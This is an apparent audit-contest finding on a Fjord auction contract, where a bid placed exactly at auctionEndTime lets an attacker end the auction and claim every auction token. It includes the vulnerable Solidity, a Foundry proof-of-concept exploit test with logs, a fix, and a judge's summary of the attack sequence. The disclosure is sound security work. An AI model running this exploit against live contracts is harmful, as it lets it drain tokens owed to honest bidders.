DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

A user can bid even after the auction has ended.

Summary

A user can bid even after the auction ends, which leads to other bidders losing their claimable auction tokens.

Vulnerability Details

The FjordAuction contract facilitates the auctioning of auctionToken in exchange for FjordPointsToken. Users can place bids within the active auction period using their points tokens. If they change their minds before the auction ends, they can withdraw their bids and retrieve their points tokens.

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
function unbid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoBidsToWithdraw();
}
if (amount > userBids) {
revert InvalidUnbidAmount();
}
bids[msg.sender] = bids[msg.sender].sub(amount);
totalBids = totalBids.sub(amount);
fjordPoints.transfer(msg.sender, amount);
emit BidWithdrawn(msg.sender, amount);
}

After the auction period ends, bidders can claim their share of auction tokens based on the proportion of their bids.

However, a critical vulnerability exists: the contract allows users to place bids even after the auction has officially ended, which can severely impact other bidders.

function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
.........................
..........................
}
}

The auction can be ended when block.timestamp >= auctionEndTime.

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
}

From this snippet, it is clear that a user can still place a bid when block.timestamp == auctionEndTime. This opens up an exploit scenario:

  1. Assume auctionEndTime = x.

  2. Various bidders have placed their bids before time x.

  3. At timestamp x, Bob simultaneously calls auctionEnd() and places a bid for the necessary amount to acquire all the auction tokens.

  4. Since the formula to calculate the claimable tokens is uint256 claimable = userBids.mul(multiplier).div(PRECISION_18);, Bob's bid should be total auctionToken * PRECISION_18 / multiplier.

  5. Bob then calls the claimTokens() function and claims all the auction tokens, leaving other bidders without any claimable tokens.

Poc :

function testBlockTime() public {
address bidder = makeAddr("Bidder");
deal(address(fjordPoints), bidder, 100 ether);
address bidder2 = makeAddr("Bidder2");
deal(address(fjordPoints), bidder2, 10 ether);
address bidder3 = makeAddr("Bidder3");
deal(address(fjordPoints), bidder3, 10 ether);
address bidder4 = makeAddr("Bidder4");
deal(address(fjordPoints), bidder4, 10 ether);
vm.startPrank(bidder);
fjordPoints.approve(address(auction), 1 ether);
auction.bid(1 ether);
vm.stopPrank();
vm.startPrank(bidder2);
fjordPoints.approve(address(auction), 2 ether);
auction.bid(2 ether);
vm.stopPrank();
vm.startPrank(bidder3);
fjordPoints.approve(address(auction), 3 ether);
auction.bid(3 ether);
vm.stopPrank();
// console.log("Present blockTime", block.timestamp);
skip(auction.auctionEndTime() - 1);
console.log("TIME END TIME", auction.auctionEndTime());
console.log("Present blockTime", block.timestamp);
auction.auctionEnd();
uint256 bidAmount = ((auction.totalTokens() * 1e18) /
auction.multiplier()); //extra 4 tokens for compensating rounding
vm.startPrank(bidder4);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
auction.claimTokens();
console.log(
"Total balance",
auction.auctionToken().balanceOf(address(auction))
);
vm.stopPrank();
vm.startPrank(bidder2);
auction.claimTokens();
vm.stopPrank();
}

Logs :

Ran 1 test for test/unit/auction.t.sol:TestAuction
[FAIL. Reason: revert: ERC20: transfer amount exceeds balance] testBlockTime() (gas: 1301442)
Logs:
TIME END TIME 604801
Present blockTime 604801
Total balance 4
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.80ms (4.22ms CPU time)
Ran 1 test suite in 10.74ms (5.80ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/unit/auction.t.sol:TestAuction
[FAIL. Reason: revert: ERC20: transfer amount exceeds balance] testBlockTime() (gas: 1301442)
Encountered a total of 1 failing tests, 0 tests succeeded

Impact

"idders will lose their pointsTokens because these tokens are burned when auctionEnd() is called, and the auction tokens they were bidding for are no longer available to claim. Similarly an user can unbid his tokens even after the auction ended.

Tools Used

Manual

Recommendations

Do not allow bids when block.timestamp >= auctionEndTime.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.